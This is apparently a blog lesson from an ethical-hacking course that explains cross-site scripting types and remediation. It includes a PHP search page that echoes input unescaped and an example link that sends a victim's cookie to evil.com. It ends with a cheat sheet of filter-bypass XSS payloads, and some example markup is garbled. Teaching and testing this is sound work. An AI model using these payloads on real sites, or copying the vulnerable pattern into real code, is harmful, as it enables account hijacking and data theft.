~ Cyber Ninja

Part-10

Ethical Hacking Course

CROSS SITE SCRIPT(XSS)

What is XSS?

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.

Types of Cross-Site Scripting:

For years, most people thought of these (Stored, Reflected, DOM) as three different types of XSS, but in reality, they overlap. You can have both Stored and Reflected DOM Based XSS. You can also have Stored and Reflected Non-DOM Based XSS too, but that’s confusing, so to help clarify things, starting about mid 2012, the research community proposed and started using two new terms to help organize the types of XSS that can occur:

There are three major types of XSS attacks:

Persistent XSS, where the malicious input originates from the website's database.
Reflected XSS, where the malicious input originates from the victim's request.
DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.

Server XSS:

Server XSS occurs when untrusted user supplied data is included in an HTML response generated by the server. The source of this data could be from the request, or from a stored location. As such, you can have both Reflected Server XSS and Stored Server XSS.

In this case, the entire vulnerability is in server-side code, and the browser is simply rendering the response and executing any valid script embedded in it.

Client XSS:

Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call. A JavaScript call is considered unsafe if it can be used to introduce valid JavaScript into the DOM. This source of this data could be from the DOM, or it could have been sent by the server (via an AJAX call, or a page load). The ultimate source of the data could have been from a request, or from a stored location on the client or the server. As such, you can have both Reflected Client XSS and Stored Client XSS.

How does XSS work?

On a web page, we generally interact with input boxes however, there are text areas that act as the document objects. They take input from the users and these are easily vulnerable.

An XSS attack can execute malicious script anywhere in the web app. Here’s a quick example

1.An Input Value:

<input type=”<script> window.alert(“Malicious Script injected!!!!”) </script>” >

2. An attribute of HTML tag:

3. An event binding on HTML tag:

<div onmousehover=”<script> window.alert(“Malicious Script injected!!!!”) </script>”> </div>

There are majorly three types of XSS attacks:

=>Non-persistent XSS: Such an attack is normally prevalent where an input is accepted without any validation. In such a scenario, a script is sent as a request in an input and this is then shown as a response on the web page.

=>Persistent XSS: In such an attack a script is sent as data and stored in the database. The script is executed when the user runs the application.

=>DOM based or (TYPE-0) XSS: DOM based XSS only executes on the client side and not the server side. This is the most advanced and least-known types of XSS.

Cross-site scripting Remediation:

The remediation of XSS vulnerabilities is heavily context-dependent and the patches vary. Here are some general tips (where UNTRUSTED is where user supplied data).

HTML Body

Example

<span>UNTRUSTED</span>

Solution:

=>Convert to HTML entities (ie. & to & etc).

See PHP htmlspecialchars()

HTML Attributes

Example

Solution:

=>Convert the untrusted user input to HTML entities to prevent the creation of other attributes and nver let any user data into the “id”, “class” or “name” parameters. Be very cautious when providing user data into DOM event handlers (e.g. onclick), at they are made to execute JavaScript.

Untrusted URL

Example

Solution:

=>URL encode the user data, whitelist known URLs and run the user data through a proper URL library in your language. Take notice to the protocol specified and if you expect HTTP or HTTPS links, whitelist those. Prevent JavaScript from running by using a protocol handler.

GET parameter

Example

Solution:

=>URL encode the user data and prevent the use of ampersand as it may lead to parameter pollution issues.

CSS value

Example

Solution:

=>CSS hex encode the value.

Javascript variable

Example

Solution:

=>Quote around variable and hex encode. Prevent line breaks.

DOM XSS:

Example

element.innerHTML = UNTRUSTED

Solution:

=>Sanitize using a library written in the language you use. Enforce the use of safer functions whenever applicable (e. g. innerText instead of innerHTML). Be very careful when determining what data is allowed to be printed. It’s better to have a whitelist of allowed characters than a blacklist.

~~Cross-site scripting: What can happen?~~

~~The attacker may:~~

=>gain access to users cookies, session IDs, passwords, private messages, etc

read and access the content of a page for any attacked user and therefore all the information displayed to the user.

=>compromise the content shown to the user

A notable XSS attack was the Tweetdeck XSS worm published in 2014. It allowed the attacker to spread his malicious payload to all Tweetdeck users via Twitter, hence causing a mass compromise of Twitter accounts.

Example of Cross-site scripting (XSS):

To show how the vulnerability works, let’s look at an example. Say you have a search box on your site. If there is no result, the site should say “Could not find any pages when searching for [what the user searched for].”.

Doing this in PHP it might look something like this:

<?php

// Code for performing the actual search

} else {

echo "Could not find any pages when searching for ".$_GET['query'];

}

=>This would, in other words, output the user supplied data (the search query) straight into the HTML document. If the search query contains HTML, the user’s web browser will render it. Imagine an attacker sends a link like the following to a victim:

http://example.com/search.php?query=<script>document.InnerHTML += "<img src='http://evil.com/?cookie="+document.cookie+" />";</script>

This would make the victim search for:

=>Since there is no validation of the data, the target browser will render.

=>Could not find any pages when searching for

=>The injected HTML will be executed. The HTML contains a script tag which will evaluate JavaScript. The JavaScript will grab the user’s cookie and send it off bounds to a third party domain of the attackers control. The attacker will then be able to set their own cookie to the victim’s stolen one, hence gaining access the victim’s data. This is a common example of a privilege escalation attack by the means of cross-site scripting and session riding.

=>If you insist on putting untrusted data into nested contexts, please do a lot of cross-browser testing and let us know what you find out.

Directly in a script:

1) <noscript><p title="</noscript><img src=x onerror=alert(1)>">

2) <script>alert("XSS");</script>

3) <scr<script>ipt>alert("XSS");</script>

4) <img src=x onError=alert("XSS")>

5) <script>...NEVER PUT UNTRUSTED DATA HERE...</script>

Inside an HTML comment:

6)

In an attribute name:

7) <div ...NEVER PUT UNTRUSTED DATA HERE...=test />

In a tag name:

8) <NEVER PUT UNTRUSTED DATA HERE... href="/test" />

Directly in CSS:

9) <style>

...NEVER PUT UNTRUSTED DATA HERE...

</style>

=>Most importantly, never accept actual JavaScript code from an untrusted source and then run it. For example, a parameter named "callback" that contains a JavaScript code snippet. No amount of escaping can fix that.

=>complete list of XSS cheat codes which will help you to test xss vulnerabilities ,useful for bypassing the filters. If you have any different cheat codes , please send your code.

Basic XSS codes:

———————---

“><script>alert(“XSS”)</script>

When inside Script tag:

———————————

</script><script>alert(1)</script>

‘; alert(1);

‘)alert(1);//

Bypassing with toggle case:

————————————–

<ScRiPt>alert(1)</sCriPt>

XSS in Image and HTML tags:

———————————————

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>

<IMG SRC=”javascript:alert(‘XSS’)”

Bypass the script tag filtering:

————————————————–

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

%253cscript%253ealert(1)%253c/script%253e

“><s”%2b”cript>alert(document.cookie)</script>

foo<script>alert(1)</script>

<scr<script>ipt>alert(1)</scr</script>ipt>

Using String.fromCharCode function:

—————————————————–

<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

You can combine the above mentioned codes and make your own cheat code.

All The Best

By Cyber Ninja

꧁UNDER SCOPE꧂

-----------------------

About Admin MK

Cyber Ninja is a Professional blogging Platform. Here we will provide you only interesting content, which you will like very much. We're dedicated to providing you the best of blogging, with a focus on dependability and daily routine. We're working to turn our passion for blogging into a booming online website.

Cyber Ninja

About Admin MK

Related Post